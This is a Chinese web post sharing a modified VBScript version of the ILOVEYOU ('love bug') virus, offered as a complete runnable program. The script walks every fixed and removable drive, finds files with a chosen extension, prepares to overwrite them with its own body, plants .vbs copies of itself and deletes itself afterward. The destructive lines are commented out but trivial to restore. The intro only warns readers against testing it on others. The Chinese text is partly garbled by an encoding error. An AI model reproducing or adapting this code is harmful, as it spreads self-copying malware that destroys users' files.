說(shuō)明:作者對(duì)某些代碼進(jìn)行了修改。該文件是一個(gè)完整的程序。該文件執(zhí)行之后,會(huì)尋找硬盤上所有滿足條件的文件,對(duì)其進(jìn)行強(qiáng)制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一個(gè)相同文件名但后帶.vbs的文件。因此,請(qǐng)注意設(shè)立好破壞測(cè)試條件,千萬(wàn)不要對(duì)他人進(jìn)行測(cè)試,否則,一切后果自負(fù)。如果你的系統(tǒng)不支持.vbs,可以將后綴改為.vbe
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall'讀取病毒體,以備復(fù)制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2then'檢查磁盤類型
wscript.echod'彈出窗口,顯示找到盤符
scan(d)
end if
next
lsfile=wscript.scriptfullname'該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true)'病毒運(yùn)行后自我刪除(本人自加,愛蟲病毒本身沒有該代碼)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file)'獲取文件后綴
ext=lcase(ext)'后綴名轉(zhuǎn)換成小寫字母
if ext="mp5"then'如果后綴名是mp5,當(dāng)然不存在這種文件,這里可以自己修改,但是注意。請(qǐng)自己建立相應(yīng)后綴名的文件,最好是非正常后綴名
set ap=fso.opentextfile(file.path,2,true)
' ap.writevbscopy'覆蓋文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path &".vbs")'創(chuàng)建另外一個(gè)病毒文件
'file.delete(true)'刪除原來(lái)文件
end if
next
set subfolders=folder_.subfolders
for each subfolder insubfolders'搜索其他目錄
scan(subfolder)
next
end sub
以上內(nèi)容謹(jǐn)供參考~
愛華網(wǎng)


